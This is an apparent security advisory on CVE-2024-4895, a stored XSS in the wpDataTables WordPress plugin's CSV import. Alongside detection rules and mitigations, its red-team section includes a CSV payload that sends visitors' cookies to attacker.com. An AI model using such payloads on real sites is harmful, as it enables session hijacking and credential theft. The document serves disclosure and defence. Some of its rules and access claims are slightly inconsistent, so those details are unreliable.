CVE-2024-4895

Executive Summary

CVE-2024-4895 is a Stored Cross-Site Scripting (XSS) vulnerability in the wpDataTables – WordPress Data Table, Dynamic Tables & Table Charts Plugin for WordPress. The flaw exists in all versions up to and including 3.4.2.12, specifically within the CSV import functionality. Due to insufficient input sanitization and output escaping, an unauthenticated attacker can inject arbitrary web scripts via a malicious CSV file. When a user (including administrators) accesses the page containing the imported table, the injected script executes in their browser context. This can lead to session hijacking, credential theft, or further compromise of the WordPress site.

The vulnerability is classified as a WordPress ecosystem issue, as it resides entirely within the plugin's codebase and does not involve the underlying web server (Apache or Nginx). The CVSS score is 4.7 (Medium), with a low EPSS score of 0.0%, indicating low exploitation activity at the time of analysis. No public exploit code or Nuclei template is available, but the attack vector is straightforward and can be weaponized with minimal effort.

Supply Chain & Package Security

This vulnerability is specific to the WordPress plugin ecosystem. The plugin is distributed via the official WordPress Plugin Directory and third-party marketplaces. Users who have installed the plugin from any source are affected. There is no known compromise of the plugin's distribution channel, but the lack of a patch increases supply chain risk for organizations relying on this plugin.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
• Base Score: 4.7 (Medium)
• Attack Vector: Network (AV:N) – The attacker can deliver the malicious CSV file remotely.
• Attack Complexity: Low (AC:L) – No special conditions are required.
• Privileges Required: None (PR:N) – The attacker does not need authentication.
• User Interaction: Required (UI:R) – A user must access the page with the imported table.
• Scope: Changed (S:C) – The injected script can affect resources beyond the vulnerable component.
• Confidentiality Impact: Low (C:L) – Limited data exposure possible.
• Integrity Impact: Low (I:L) – Limited modification of content possible.
• Availability Impact: None (A:N) – No direct denial of service.

Threat Level: Medium. While the CVSS score is moderate, the unauthenticated nature and potential for privilege escalation (e.g., stealing admin cookies) elevate the risk for WordPress sites using this plugin.

Deep Dive & Mechanics

The vulnerability is rooted in the CSV import functionality of wpDataTables. When a user imports a CSV file to create or update a data table, the plugin processes the file without properly sanitizing cell values. Specifically, if a cell contains HTML or JavaScript code (e.g., <script>alert('XSS')</script>), the plugin stores this content in the database and later renders it on the frontend without escaping.

The attack flow is as follows:

1. An unauthenticated attacker crafts a CSV file with malicious JavaScript in one or more cells.
2. The attacker uploads this CSV file via the plugin's import feature (if the plugin allows unauthenticated imports, or via a compromised user account).
3. The plugin stores the malicious content in the WordPress database.
4. When any user (including administrators) views the page containing the data table, the injected script executes in their browser.

The root cause is insufficient input sanitization during CSV parsing and insufficient output escaping when rendering table cells. The plugin likely uses functions like wp_kses_post() or similar, but fails to strip or encode script tags.

Vulnerable vs. Patched Code

Since no official patch is available, the following is a hypothetical comparison based on common fixes for similar XSS vulnerabilities.

Vulnerable Code (wpDataTables CSV import handler):

// Vulnerable: No sanitization of CSV cell values
$cell_value = $csv_row[$col_index];
$table_data[] = $cell_value;

Patched Code (Hypothetical fix):

// Patched: Sanitize and escape cell values
$cell_value = sanitize_text_field( $csv_row[$col_index] );
$cell_value = esc_html( $cell_value );
$table_data[] = $cell_value;

The patched version uses sanitize_text_field() to strip dangerous tags and esc_html() to encode HTML entities before output.

Exploitation & Lab Setup

Red Team

Prerequisites:

• A WordPress instance with wpDataTables plugin version <= 3.4.2.12.
• Access to the CSV import functionality (may require a user account with "edit_posts" capability, but some configurations allow unauthenticated imports).

Exploitation Steps:

1. Create a malicious CSV file with the following content:

   Name,Email,Message
   John,<script>alert('XSS')</script>,Test
   

2. Log in to WordPress (if required) and navigate to the wpDataTables import page.
3. Upload the CSV file and create a new table.
4. Embed the table in a page or post.
5. When any user visits that page, the JavaScript executes.

Advanced Payload (Cookie Stealing):

Name,Email,Message
John,<script>document.location='http://attacker.com/steal.php?c='+document.cookie</script>,Test

Blue Team

Detection:

• Monitor for CSV file uploads to wpDataTables endpoints (e.g., /wp-admin/admin-ajax.php?action=wpdatatables_import_csv).
• Inspect uploaded CSV files for HTML/JavaScript content.
• Review database entries in the wp_wpdatatables table for suspicious HTML.

Prevention:

• Disable CSV import for unauthenticated users.
• Implement a Web Application Firewall (WAF) rule to block CSV uploads containing <script> tags.
• Use a content security policy (CSP) to mitigate XSS impact.

Indicators of Compromise (IOCs)

• File Indicators:

  • CSV files containing <script>, <img onerror=, or other HTML event handlers.
  • CSV files with unusually large cell values (payloads often padded to evade detection).

• Network Indicators:

  • HTTP POST requests to /wp-admin/admin-ajax.php with action=wpdatatables_import_csv.
  • Outbound connections to attacker-controlled domains (if payload exfiltrates data).

• Database Indicators:

  • Rows in wp_wpdatatables containing HTML/JavaScript in cell values.
  • Suspicious entries in wp_posts or wp_postmeta related to wpDataTables.

• Log Indicators:

  • WordPress debug logs showing failed sanitization attempts.
  • Web server access logs with unusual CSV upload patterns.

Detection Engineering

YARA Rule

rule wpDataTables_Stored_XSS_CVE_2024_4895 {
    meta:
        description = "Detects malicious CSV files targeting CVE-2024-4895"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-4895"
    strings:
        $script_tag = /<script[^>]*>.*?<\/script>/is
        $event_handler = /on\w+\s*=\s*['\"][^'\"]*['\"]/is
        $csv_header = /^Name,Email,Message/m
    condition:
        $script_tag or ($event_handler and $csv_header)
}

Sigma Rule

title: wpDataTables Stored XSS via CSV Import
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects CSV uploads containing script tags to wpDataTables
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'action=wpdatatables_import_csv'
        cs-uri-query|contains: '.csv'
    condition: selection
falsepositives:
    - Legitimate CSV uploads with benign HTML
level: medium

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"wpDataTables Stored XSS via CSV Import"; flow:to_server,established; content:"POST"; http_method; content:"action=wpdatatables_import_csv"; http_client_body; content:".csv"; http_client_body; pcre:"/<script[^>]*>.*?<\/script>/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable CSV Import: Temporarily disable the CSV import functionality in wpDataTables settings.
2. Restrict User Roles: Ensure only trusted administrators can import CSV files.
3. Apply WAF Rules: Block CSV uploads containing <script> tags or event handlers.

Long-Term Fix:

• Since no official patch is available, consider replacing the plugin with an alternative that is actively maintained.
• If the plugin is critical, implement a custom sanitization function that strips all HTML tags from CSV cell values before storage.

Workaround:

• Use a content security policy (CSP) header to block inline scripts:

  Header set Content-Security-Policy "script-src 'self';"
  

Valters IT – Securing digital frontiers, one CVE at a time.